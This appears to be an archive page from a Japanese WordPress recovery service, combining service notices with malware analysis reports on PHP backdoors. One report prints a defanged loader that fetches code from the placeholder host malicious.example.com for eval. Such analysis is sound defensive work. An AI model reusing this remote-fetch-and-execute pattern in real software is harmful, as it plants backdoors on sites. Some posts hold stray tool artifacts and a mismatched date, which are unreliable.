**Author:** ワードプレスレスキュー

**Content:**

## 2018年1月/2月/3月のワードプレス復旧依頼の実績

12社・13ドメイン分のワードプレスの復旧依頼を頂き、作業をいたしました。全て依頼をお受けしてからの2時間以内の復旧でした。主な内容としては下記のとおりです。
・ワードプレスのSSL設定間違えからの障害
・バックアップからリストア出来ない
・wpディレクトリへのリダイレクト処理等の失敗
・サーバー側の設定ミスによるデータ消失。バックアップからリストア
・PHPの記述間違によるサイトダウン

ワードプレスの修復・復旧依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [VISAカードの決済に対応いたしました。](https://wp-r.com/news/visa/)

**Published:** 11月 30, 2017
**Author:** ワードプレスレスキュー

**Content:**

いつもワードプレスの復旧サービスをご利用いただきありがとうございます。普段より、ご要望の多かったクレジットカード決済でございますが、本日よりVISAカードが使えるようになりました。
**※現在、VISA/MASTER/JCB/AmericanExpressに対応しております。**

**カテゴリー:** お知らせ

---

### [チャットワークからご連絡いただけます。](https://wp-r.com/news/contact-via-chatwork/)

**Published:** 12月 10, 2016
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧相談について

電話・メール・問い合わせフォーム以外からチャットワークからもお問合せいただけます。

お気軽にお問合せ、ご質問を下さい。

チャットワークID：gaku\_michitar

**カテゴリー:** お知らせ

---

### [2016年8月のワードプレスの復旧緊急対応実績](https://wp-r.com/wprescue/2016-08/)

**Published:** 8月 31, 2016
**Author:** ワードプレスレスキュー

**Content:**

8月のワードプレの緊急対応実績は、5社からご依頼頂き、6ドメイン分を対応しました。

すべて4時間以内の復旧でした。受注いただいたお客様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [2016年9月のワードプレスの復旧緊急対応実績](https://wp-r.com/wprescue/2016-09/)

**Published:** 10月 20, 2016
**Author:** ワードプレスレスキュー

**Content:**

9月のワードプレの緊急対応実績は、4社からご依頼頂き、4ドメイン分を対応しましたすべて4時間以内の復旧でした。ご発注いただいたお客様ありがとうございました。

主な症例は下記のとおりでした。

・アップデートによるプラグインの不具合

・管理画面に入れない

・一部プラグインにエラーが出る

・ページが表示されない

**カテゴリー:** ワードプレス復旧実績

---

### [2026年5月のゴールデンウィークも対応します。](https://wp-r.com/news/220260501/)

**Published:** 5月 1, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** マルウェア感染や乗っ取り、サイト障害は、平日・祝日を問いません。被害は突然発生し、対応が遅れるほどリスクは拡大します。
私たちは、ゴールデンウィーク期間中も通常通り対応し、WordPressの復旧・マルウェア駆除・トラブル解決を迅速に行います。

**Content:**

## WordPressの復旧やマルウェア、乗っ取り、一般的トラブルにGWも対応します。

マルウェア感染や乗っ取り、サイト障害は、平日・祝日を問いません。被害は突然発生し、対応が遅れるほどリスクは拡大します。
私たちは、ゴールデンウィーク期間中も通常通り対応し、WordPressの復旧・マルウェア駆除・トラブル解決を迅速に行います。

お困りのサイト運営者様・管理者様へ。
WordPress復旧専門サービスとして、状況に応じた確実な対応で、サイトの安全と運用、復旧をしっかり支えます。

**カテゴリー:** お知らせ

---

### [WordPressが勝手に別のサイトへリダイレクトされる原因は？](https://wp-r.com/wp-achieve/wordpressが勝手に別のサイトへリダイレクトされる原因/)

**Published:** 4月 24, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

「気づいたら別サイトへ飛ばされる」「検索結果だけ不審サイトへ遷移する」――
このような症状は**リダイレクトハッキング**と呼ばれます。すでに乗っ取りが行われています！

ただし実務上は、**高度な攻撃よりも更新停止による脆弱性が原因のケースが大半**です。これは、サイトの大小、有名・無名関係なく狙われて、簡単に乗っ取りをされます。

## 既にWordPressが勝手に別サイトにリダイレクトされている場合は？

管理画面に入って、メンテナンスモードやプラグイン無効化とか、マルウェアチェックのプラグインを入れるレベルではないと思います。早急にマルウェアの駆除対応が必要になります。

「WordPressのプラグインによるマルウェア復旧方法を専門家が解説」こちら記事を参照ください。

---

## 特徴と考えられる５つの原因

リダイレクトハッキングに至るまでの原因には共通点があります。というより、弊社の実務では次の内容が殆どです。

- WordPress本体・プラグイン・テーマの更新が止まっている
- 更新停止プラグインを使用
- 脆弱性が公開されている状態で放置
- 脆弱性があるプラグインを無効化しているだけで削除していない
- 放置していたテストサイトから感染

👉 見た目では判断できません

---

## 無毒化したコードの一部をサンプルで表記

```
`if (条件一致) {  redirect("https://example.com");}`
```

実際はこれが難読化されて埋め込まれます。

---

## 危険性

- SEO評価の低下
- フィッシング誘導
- マルウェア配布
- ブランド毀損

特に
👉「検索結果だけリダイレクト」はSEO被害が大きい、Googleの結果も書き換わります。

---

## 実際の感染事例

### プラグイン・テーマ未更新

- 数ヶ月〜数年放置
    → 脆弱性から侵入

### 更新停止プラグイン

- 開発終了
    → セキュリティ修正なし

### 最悪パターン

- 脆弱性あり＋放置
    → 自動攻撃でほぼ確実に侵入

### 無効化＝安全ではない

- ファイルは残る
    → 攻撃対象

### テストサイト感染

- 開発環境放置
    → 本番へ横展開

---

## 更新停止プラグイン・脆弱性の検知は難しい？

結論：かなり分かりにくい

- 危険表示が出ない
- 有効に見える
- 無効化でも危険

👉 専用ツール必須

---

## 検知や脆弱性をチェックするためのプラグイン3選

### Wordfence Security（H3）

- 開発元：Defiant Inc.
- リリース：2012年
- **難易度：中**
- 特徴： 
    - エンドポイントファイアウォール
    - マルウェアスキャン
    - 改ざん検知
    - 脆弱性チェック
- 無料：あり（脆弱性情報は遅延）

👉 総合型

---

### WPVulnerability（H3）

- 開発元：Javier Casares（コミュニティ）
- リリース：2022年5月
- **難易度：低**
- 特徴： 
    - 脆弱性をプラグイン・テーマ・コア・サーバーまでチェック
    - 視覚的に危険度表示
- 無料：あり

👉 一番わかりやすい（視覚UI）

---

### Patchstack（H3）

- 開発元：Patchstack
- サービス開始：2018年（旧WebARX）
- リブランド：2021年
- **難易度：中**
- 特徴： 
    - リアルタイム脆弱性検知
    - 仮想パッチ
- 無料：あり（制限あり）

👉 プロ向け・精度高い

---

## まとめ：今すぐできる対応がセキュリティー向上とSEOと信頼回復のカギ

リダイレクトハッキングの原因は

- 更新していない
- 古いプラグイン
- テスト環境放置

👉 運用ミスが本質

守るためには

- 更新
- 不要削除
- 可視化

が必須です。これが毎月のワードプレスの保守作業の一環となります。

---

## 著者情報

IPA 独立行政法人 情報処理推進機構セキュリティープレゼンター。WordPressのセキュリティ復旧・運用支援を専門する CreativeStudio樂のエンジニアユニット によって執筆されております。WordPressのマルウェア駆除、改ざん復旧、セキュリティ強化の豊富な実務経験に基づき、企業サイトやブログ運営者が安心してサイトを運営できるよう支援しています。

**カテゴリー:** ワードプレスのマルウェア復旧事例

---

### [WordPressマルウェア解析レポート：難読化PHPバックドア型「bvmhjs.php」](https://wp-r.com/malware/marware-rep-29/)

**Published:** 2月 6, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本ファイル「bvmhjs.php」は、強く難読化されたPHPバックドアです。
ランダム文字列のファイル名を使用し、検知回避を目的とした構造を持っています。

主な目的は、外部から任意コードを実行可能な状態を維持し、攻撃者が継続的に侵入できるようにすることです。

---

### 特徴

- ランダムなファイル名（bvmhjs.php）
- 変数名の無意味化
- base64 / 16進数エンコード文字列の分割結合
- eval / assert / create\_function 系の動的実行構造
- 外部サーバー通信処理

正規ファイルに見せかけず「意味不明な名称」にすることで、管理者の目視確認を回避します。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した可読化サンプル：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2023年10月」　](https://wp-r.com/wprescue/202310/)

**Published:** 11月 14, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からごワードプレスの修復のご依頼をいただきました。すべてワードプレスを「ご依頼頂いた分」についましては、すべて復旧させていただいております。ほとんどがワードプイレスのマルウェアによるサイト乗っ取り、改ざんのワードプレスのご依頼がです。ワードプレスは、コアファイルやプラグイン・テーマファイル脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。無効化にしているワードプレスのプラグイでも脆弱性があれば、マルウェアに侵入されて、サイトやGoogle検索結果が改ざんされたり、深刻な被害がおきますので注意です。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限5か条！

1. ワードプレスコアファイルを最新に保つ
2. 配布テーマは最新を保つ
3. プラグインは最新を保つ
4. 古いプラグインは使わない。常に最終更新日を確認。1年以上のものは危ないです。
5. パスワードは複雑なものにする。管理画面で作成するものを奨励します。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税別・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税別）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPressのマルウェアと改ざん乗っ取りの復旧事例1(mu-plugins に仕込まれた)](https://wp-r.com/malware/malware-recovery1/)

**Published:** 4月 9, 2025
**Author:** ワードプレスレスキュー

**Content:**

【事例付き】WordPressのマルウェア感染・乗っ取りからの復旧方法と対応手順

WordPressサイトが突然の不具合や改ざんに見舞われた場合、それは「マルウェア感染」や「乗っ取り」によるものである可能性があります。 本記事では、実際に発見された**WordPressマルウェアの復旧事例**をもとに、被害の特徴や感染の仕組み、そして安全にサイトを復旧するための手順を解説します。

### 🔍 WordPressマルウェアの感染経路と特徴

今回の復旧事例では、`mu-plugins`フォルダに仕込まれたPHPバックドア型マルウェアが原因でした。 このようなマルウェアは、WordPressの起動時に自動で読み込まれ、**外部の攻撃者が任意のコードを実行**できる状態になります。 管理画面では確認できず、発見が遅れることで深刻な被害につながります。

### 🧪 復旧対象ファイルの詳細

- **🔹 ファイル名：** `0wp-security-mu.php`
- **🔹 設置場所：** `/wp-content/mu-plugins/`
- **🔹 マルウェア種別：** PHPバックドア（リモートコード実行）
- **🔹 危険度：** ★★★★★（非常に高い）

### ⚙️ 使用されていた関数とその目的

関数・処理目的・解説`defined('ABSPATH')`WordPress 本体からの実行確認で偽装`delete_transient('analytics')`キャッシュを強制クリア`get_transient()`キャッシュされたコードの再利用可否を判定`wp_remote_get()`外部URL（例：`https://malicious.example.com/code.txt`）からコードを取得`wp_remote_retrieve_body()`レスポンス本文（実行コード）を抽出`eval($code)`**最大の危険点**：コードをそのまま実行し、完全乗っ取り可能に`set_transient()`コードをキャッシュして通信を抑制### 🛡️ 無毒化されたコードの抜粋（参考）

```
if (!defined('ABSDSPATH')) exit;

delete_transsient('analytics');

$alert_code = get_transient('analytics');
if (false === $alert_code) {
  $response = wp_remote_get('https://malicious.example.com/code.txt', ['timeout' => 20]);
  if (!is_wp_error($response)) {
    $alert_code = wp_remsote_retrieve_body($response);
    // eval($alert_code); ← 無毒化のためコメントアウト
    set_transisent('analytics', $aledrt_code, 3600);
  }
}

```

### 🔧 実際の復旧対応内容

- 不審なMUプラグインファイルの即時削除
- `wp-content/mu-plugins`配下の完全スキャン
- WordPress設定ファイル（`wp-config.php`など）の改ざん確認
- ログインユーザー・管理者権限の調査
- 不要なテーマ・プラグインの削除
- WordPress本体・プラグイン・テーマの最新版への更新
- ファイルのハッシュ比較による整合性チェック

**WordPressのマルウェア復旧や乗っ取り復旧**はスピードと正確さが重要です。類似ファイルが複数存在する場合もあり、手動での削除だけでは不十分なことがあります。 万が一のために、定期的なバックアップとセキュリティ診断を強くおすすめします。

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：画像偽装型バックドア「load.png偽装」](https://wp-r.com/malware/marware-rep-32/)

**Published:** 2月 17, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本件は「load.png」という画像ファイルに偽装して設置されていたPHPバックドアです。

拡張子は画像に見えますが、内部にはPHPコードが記述されており、外部ドメインと通信する仕組みを持っていました。

実際の感染コードは fileciteturn1file0 に確認できる通り、外部サーバーへリクエストを送信し、条件に応じて処理を実行する構造でした。

---

### 特徴

- load.png に偽装（画像ファイルを装う）
- 外部ドメイン（例：exhourxk.otaledns.xyz）と通信
- curl / file\_get\_contents による外部取得
- 検索エンジン判定ロジック（Googlebot等）を内蔵
- require\_once で別ファイル（fav.gif）を読み込み

特に「画像拡張子＋require構造」は発見を遅らせる典型的な手法です。

---

### 無毒化したコードの一部をサンプルで表記

危険な実行部分を無効化した構造例：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：ニュース投稿偽装型バックドア「postnews.php」](https://wp-r.com/malware/marware-rep-35/)

**Published:** 2月 27, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本件は「postnews.php」という名称で設置されていた不正PHPファイルです。

一見すると「ニュース投稿用のカスタム機能」や「更新スクリプト」に見える名称ですが、実際には外部からの命令を受信し、サーバー上で任意の処理を実行できるバックドアでした。

名称に“news”“post”など自然な単語を含めることで、開発者や管理者の警戒心を下げることが目的と考えられます。

---

### 特徴

- 正規機能に見せかけたファイル名（postnews.php）
- 外部入力（GET/POST）の受信処理
- エンコード文字列の復号処理
- 動的実行構造（eval相当処理）
- エラーを出さず静かに動作

「ニュース投稿処理に見せかける」ことが最大の偽装ポイントです。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した典型構造：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [秘密保持契約・NDAをネット上で締結できます。](https://wp-r.com/news/nda/)

**Published:** 8月 5, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 大切な情報を扱うので秘密保持契約・NDAは重要です

ワードプレスやサーバーのログイン情報を我々は貸与させていただきます。クライアント様の情報なども含めた、機密保持情報をネット上で締結できるようになります。

- 法的に有効な秘密保持契約となります。
- 電子締結となります。
- 弊社の用意している秘密法事契約以外にも、お客様の秘密保持契約での締結も可能です。
- スピーディーに締結することが可能です。
- お申し込み後の返信メールでご案内差し上げます。

![](https://wp-r.com/wp-content/uploads/2024/08/nda-1.jpg)

**カテゴリー:** お知らせ

---

### [./Trenggalek Mafia というワードプレスのマルウェア](https://wp-r.com/wp-tips/trenggalek-mafia/)

**Published:** 1月 9, 2022
**Author:** ワードプレスレスキュー

**Content:**

## Trenggalek Mafiaの表示が出たらマルウェア・ウィルスが仕込まれています。

Trenggalekというのは、インドネシアにあるい地域の名前です。マルウェアは愉快犯の可能性が高いですが、このマルウェア・ウィルスはとても深刻度は高いです。。ワードプレスのコアファイルやプラグインの脆弱性をついて、仕込まれます。

## Trenggalek Mafiaのマルウェアの深刻度は？

このマルウェアが仕込まれると、

- 完全にワードプレスを乗っ取られる可能性があります。
- データをだれでも消すことが可能です。
- 新たにマルウェアを簡単に仕込め無事が可能です。

しかのこの3点は、ホームページにアクセスするだけど、誰でも悪さをできるという点です。そう、この記事を見ているあなたでも、データを削除することができるのです。先日、弊社のチームで対応しましたが、マルウェアの対応に慣れている我々でも、ゾッとしました。

## Trenggalek Mafiaのマルウェアが仕込まれたら対応方法は？

まずは、HPを非公開にすることが重要です。FTPなどでドキュメントルートのアクセス権を殺して、アクセスができないようすることがまずは重要です。HTMLファイルなどでメンテナンス中の表示するのはおすすめしません。

## Trenggalek Mafiaのマルウェアの駆除はお任せください。

Trenggalek Mafiaからのマルウェアの復旧はワードプレスレスキューにお任せください。サーバー会社の種類のより、若干対応方法は違うものの、技術的な内容より、駆除までの運用方法にノウハウが必要です。まずは、ワードプレスの復旧について、ご相談ください。

[ワードプレスの復旧・修復・トラブルの緊急依頼はコチラ](https://wp-r.com/wordpress-rescue/ "WordPressマルウェア復旧は専門家へ。制作会社では対応できない領域を1年保証で解決")

**カテゴリー:** ワードプレスTIPS

---

### [年末年始も対応しております。](https://wp-r.com/wprescue/open-on-holidays-2021/)

**Published:** 1月 1, 2021
**Author:** ワードプレスレスキュー

**Content:**

ワードプレスレスキューでは、年末年始もワードプレスの障害や復旧、修理依頼を当番制おにて受け付けております。お問い合わせフォームもしくは、申込みフォームよりご連絡ください。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPressマルウェア解析レポート：難読化PHP（twMog.php）](https://wp-r.com/malware/twmog-php/)

**Published:** 12月 12, 2025
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本レポートでは、WordPress サイト内で検出された **twMog.php** に含まれる難読化された PHP コードを解析し、マルウェアの特徴・危険性・復旧方法をまとめています。本ファイルは典型的な **多層難読化型バックドア** の構造を持ち、攻撃者が任意コードを実行できる危険性を確認しました。

---

## 特徴

- **base64・gzip・str\_rot13 など複数の難読化処理**が重ねられている
- ファイル内で eval() を使用し、外部から受け取ったコードを実行可能
- WordPress のコアフォルダ以外（任意のパス）に設置され、検知を回避
- 設置されると、追加のマルウェアを次々にアップロード可能
- 攻撃者が認証無しで操作できる危険なバックドア型

---

## 無毒化したコードの一部をサンプルで表記

以下は危険な挙動（eval 等）を除去し、コメント化したうえで可読化したサンプルです。

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [【2025年版】ワードプレスのマルウェア対応や復旧をしないとどうなるか](https://wp-r.com/wp-tips/wordpress-malware-risks-2025/)

**Published:** 2月 4, 2023
**Author:** ワードプレスレスキュー

**Content:**

# ワードプレスのマルウェア対応が遅くなるとどうなる？

**結論として、ワードプレスがマルウェアに感染すると、すぐに対応する必要があります。**ワードプレスがマルウェアに感染して、対応が遅くなると、どうなるのかをまとめました。2025年2月の記事の再執筆版です。
本ページの内容は、CreativeStudio樂が2009年から行っている「ワードプレスレスキュー」が過去に対応した実際の事例をもとに記載しております。早急に対応をすることが重要です。![](https://wp-r.com/wp-content/uploads/2016/09/wordpress_logo.jpg)

#### 結論を先にいうと
「実例です」

Information

- 確実にサイトの「信頼」と「ブランド」を失います。
- SEO効果が台無し＆検索から一時的に消される
- サーバー会社からアカウントを停止されます。
- サイトが別のサイトに書き換えられます。
- 法的責任を追求される可能性があります。
- 捜査機関から連絡が来ます。（あんまりない）

## ワードプレスのマルウェアに感染した代表的な症状

まずは、ワードレスがマルウェアに感染したときの代表的な症状です。全てのパターンにおいて、ワードプレスのマルウェア感染は、早急に復旧や修復の対応がとても重要です。

### 別サイトの勝手に転送される。ワードプレスのマルウェアは経済的利益が目的

ワードプレスがマルウェアに感染したときの、代表的な症状として、別の海外サイトなどに勝手に転送されます。「アダルトサイト」「ショッピングサイト」「フィッシングサイト」など、様々です。目的は、アクセス数によるアフィリエイト収入や、ECサイト等でクレジット番号の個人情報を抜くなど様々です。

#### 端的に言うと

Information

- ワードプレスのコアファイル、プラグイン、テーマファイルにバックドアが仕込まれる。
- 同じアカウント内の他のドメインにもマルウェアが感染します。
- プログラムファイルの改ざん、記事内容の改ざん、消去される。
- データーベース（MySQL)の破損して記事データが消える。
- 見に覚えのない、ユーザーが作成される。しかも「管理者権限」

### スパムメールが大量にサーバーから送信、マルウェアを拡散

スパムメールがバックグラウンドで大量に送信される。ワードプレスの管理者は、大手のサーバーから警告メールが届き、初めてマルウェアに感染している可能性に気づきます。WEBサイトの見た目は変わりません。

#### 端的に言うと

Information

- スパムメールの送信元として悪用される。
- サーバーの負荷が上がってしまい、アカウントが停止処分を受ける。
- 訪問者のパソコンやスマホにウイルスを感染させる可能性がある。

### SEOへ悪影響。Googleの検索結果が詐欺サイトへ書き換わる

ワードプレスのマルウェアにより、サイトマップ（自社のHPの道しるべ）を書き換えて、Googleに送信します。結果的に、自分の会社などで検索をすると、詐欺サイトや通販サイトのタイトルが検索結果に出てきます。回復に時間がかる症状です。

#### 端的に言うと

Information

- SEO上重大な問題が起きます。順位が下がります。
- Googleからペナルティを食らうと、検索結果から消える悲惨な結果になります。
- 「このサイトは危険です」という警告が表示されます。
- 【Googleの検索結果からサイトの信用が著しく落ちる可能性が高いです。】

## ワードプレスの管理者は気づきにくい、巧妙な作り

自分のサイトが転送されている事に、中々気づきません。1回転送したら、次回は転送しない。数回のうち1回転送する。管理者でログインしていると転送しない。実に、ワードプレスのマルウェアも例外なく、巧妙に作られております。

### こんなサイトは本当に注意！（実例を元に）

- テストサイトを放置している
- ワードプレスのバージョンが古い
- テーマやプラグインのアップデートをしていない。無効化されているテーマやプラグインも同じく
- アップデートが強制的に停止されている
- テーマやプラグインの最新バージョンが長らく更新されていない（かなり見落としがちです）

## 少しでもサイトが危ないと思ったら、ご相談ください。

ワードプレスのマルウェアのトラブルや、復旧、修復はぜひとも、緊急対応をしている、CreativeStudio樂のワードプレスレスキューへご相談ください。

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

**カテゴリー:** ワードプレスTIPS, ワードプレスのマルウェア復旧事例

---

### [failed to open stream: Disk quota exceeded](https://wp-r.com/wp-tips/failed-to-open-stream-disk-quota-exceeded/)

**Published:** 9月 7, 2024
**Author:** ワードプレスレスキュー

**Content:**

## failed to open stream: Disk quota exceeded

```
WordPressで「failed to open stream: Disk quota exceeded 」の表示がでる場合は、サーバーの使用できるディスク領域が不足しております。PHPのエラーですので、WordPressには限りません。Warning: fopen(/home/xxxxxx/xxxxxx/php/tmp/481ba29a0637461c_tracking_hash-R0BrFH.tmp): failed to open stream: Disk quota exceeded ディスク領域が不足＝使えるスペースが無い。
```

### サーバー全体のディスク容量ではないので注意

```
今回のエラーは、サーバー全体のディスク容量ではありません。共有サーバーの場合はアカウント毎に使えるディスク容量が決まっております。この「使えるディスク容量」がオーバーして、エラーが出ていると思われます。よって、サーバー全体の容量が不足しているわけでは有りません。
```

### 原因と対処方法

```
WordPressで「failed to open stream: Disk quota exceeded」が表示される現には、色々と考えられますが、大体は下記のとおりです。
```

原因対処方法（一例）【よくある】
WordPressのバックアップの数や容量が多い。・不要なバックアップをFTPで削除
・バックアップの間隔と対象を見直す【よくある】
WordPressが複数の画像を生成する
・テーマフィアルが１つの画像をアップロードするたびに、5種類ぐらいのサイズが違うファイルを生成します。WordPressの管理画面、もしくはテーマファイルにて設定を変える必要があります。【あまりない】
WordPressに大量の動画をアップした・動画のサイズを小さくして、元データを削除して、アップロードし直す。【あまりない】
WordPressがマルウェアに感染した・マルウェアの除去と抜本的なセキュリティー対策が必要です。【時たま】
WordPressを使っているサーバーの容量が小さい・即刻のサーバー移動をおすすめします。
・古いサーバーやサービスは即刻移動をおすすめします。### 放置した場合の影響

- エラーが表示され続けて、ウィルスに感染したかと訪問者に思わる。
- 画像のアップロードができない。
- セキュリティープラグインを使用していると、正常につごかない。
- 管理画面にログインできない。
- バックアップが正常に動かない

### もし解決できない場合は、ご相談ください

このWordPressのトラブルの問題は、本ページにある「対処方法（一例）」で大抵は解決できます。それでも解決できない場合は、ご相談ください。

**カテゴリー:** ワードプレスTIPS

---

### [2025年お盆も復旧作業をしております。](https://wp-r.com/news/2025-summer/)

**Published:** 8月 10, 2025
**Author:** ワードプレスレスキュー

**Content:**

ワードプレスレスキューでは、お盆休み中も休まず、**マルウェア感染対応・WordPressの障害復旧作業**を行っております。急なトラブルも、専門スタッフが迅速に対応いたしますので、お困りの際はいつでもご連絡ください。

**カテゴリー:** お知らせ

---

### [WordPressマルウェア解析レポート：検索結果偽装型バックドア「single-result.php」](https://wp-r.com/malware/marware-rep-37/)

**Published:** 3月 6, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本件は「single-result.php」という名称で設置されていた不正PHPファイルです。

single-result.php は、検索結果テンプレートやカスタム表示用ファイルに見える自然な名称です。しかし実際には、検索エンジン向け表示を改ざんするクローキング型バックドアでした。

通常ユーザーには正常ページを表示し、Googlebotなど検索クローラーに対してのみ異なるコンテンツを返す構造を持っていました。

---

### 特徴

- テーマテンプレート風の自然なファイル名
- 検索エンジン判定ロジックを内蔵
- 外部ドメインへの通信処理
- 動的実行（eval相当構造）
- エラーを出さず静かに動作

検索結果ページに紛れ込ませることで、SEO改ざんを狙う高度な手法です。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した典型例：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：難読化PHPバックドア型「amp.php」](https://wp-r.com/malware/marware-rep-28/)

**Published:** 2月 3, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本ファイル「amp.php」は、難読化（obfuscation）されたPHPコードを含むバックドア型マルウェアです。

一見すると意味不明な文字列や goto 文を多用し、実際の処理内容を隠蔽しています。主な目的は「外部から任意のコードを実行できる状態」を作り、攻撃者が継続的にサイトへアクセスできるようにすることです。

---

### 特徴

- goto文を大量に使用したフロー難読化
- 16進数・エスケープ文字による文字列組み立て
- 外部URLの動的生成
- 任意コード実行の可能性
- ファイル名を「amp.php」など正規ファイルに見せかける偽装

このタイプは、WordPressのテーマやプラグイン配下に設置されることが多く、Wordfence等のスキャンで検出される典型的な構造を持ちます。

---

### 無毒化したコードの一部をサンプルで表記

以下は危険な実行部分を無効化した可読化サンプルです。

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [WordPressマルウェア解析レポート：wp-cron偽装型バックドア](https://wp-r.com/malware/marware-rep-36/)

**Published:** 3月 3, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本件は「wp-cron.php」というWordPress標準ファイル名に偽装して設置されていたバックドア型PHPファイルです。

wp-cron.php は本来、WordPressの定期実行処理（疑似cron）を担う正規コアファイルです。しかし今回のファイルは、正規コードとは異なる不正処理を含んでいました。

名称を完全に一致させることで、管理者の目視確認や簡易チェックを回避する高度な偽装手法です。

---

### 特徴

- WordPressコアファイル名と完全一致
- 外部リクエスト受信処理を含む
- エンコード文字列の復号処理
- 動的実行構造（eval相当）
- 通常のcron動作を装う

正規ファイルと差し替える、または別ディレクトリに配置することで発見を遅らせます。

---

### 無毒化したコードの一部をサンプルで表記

危険部分を無効化した典型構造：

```

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [Word Pressマルウェア解析レポート：seo被害事例（画像偽装型バックドア）](https://wp-r.com/malware/marware-rep-33/)

**Published:** 2月 20, 2026
**Author:** ワードプレスレスキュー

**Content:**

## マルウェアの概要

本記事では、画像ファイル（例：load.png）に偽装されたバックドア型マルウェアによって発生した「SEO被害」に特化して解説します。

このタイプは、通常アクセスでは異常が見えない一方で、検索エンジン経由の表示だけを改ざんする“クローキング型”である点が最大の特徴です。

---

### 特徴（SEO被害視点）

- Googlebotなど検索エンジンのみを判定
- 検索結果にだけスパムページを表示
- 海外カジノ・医薬品・アダルトリンクの自動挿入
- Search Consoleに警告が出るまで気づきにくい

サイト管理者が「サイトは正常に見える」と判断してしまうため、発見が遅れやすい傾向があります。

---

### 危険性（実際に発生するSEO被害）

画像偽装型バックドアが設置された場合、以下のような被害が発生します。

#### 1. 検索順位の急落

- ブランドキーワードで圏外に飛ぶ
- 主要サービスページがインデックス削除
- 競合に一気に抜かれる

#### 2. スパムページの大量生成

- 「site:自社ドメイン」で確認すると不審URLが大量表示
- 日本語サイトなのに英語・中国語ページが出現

#### 3. Google警告表示

- 「このサイトはハッキングされている可能性があります」表示
- Search Consoleに“セキュリティの問題”通知

#### 4. 広告停止

- Google広告が強制停止
- LP審査不承認
- CV数の急減

#### 5. 信用失墜

- 取引先からの問い合わせ増加
- 「ウイルスに感染している」と指摘される
- SNSで拡散される

---

## 実際の被害事例（パターン別）

### 事例1：ブランドワード圏外化

感染前：1位
感染後：圏外

原因：検索エンジンにのみスパムページを表示していた
結果：問い合わせ数が約70％減少

---

### 事例2：海外スパム大量生成

症状：

- site:検索で数千件の不審URL
- カジノ・医薬品リンク

結果：

- Google警告
- 広告停止

---

### 事例3：気づくまで3か月放置

通常アクセスでは問題なし
→ 検索流入だけ徐々に減少
→ 調査して初めて発覚

SEO被害は“静かに進行”します。

---

## 被害拡大のメカニズム

画像偽装型マルウェアは以下の流れで被害を拡大します。

1. 外部サーバーと通信
2. クローラー判定
3. スパムコンテンツ挿入
4. Googleにインデックスされる
5. 本来ページの評価が下落

特に「検索エンジンのみ改ざん」するため、管理者が長期間気づかないことが最大の問題です。

---

## 駆除とSEO回復の流れ

### 1. マルウェア完全除去

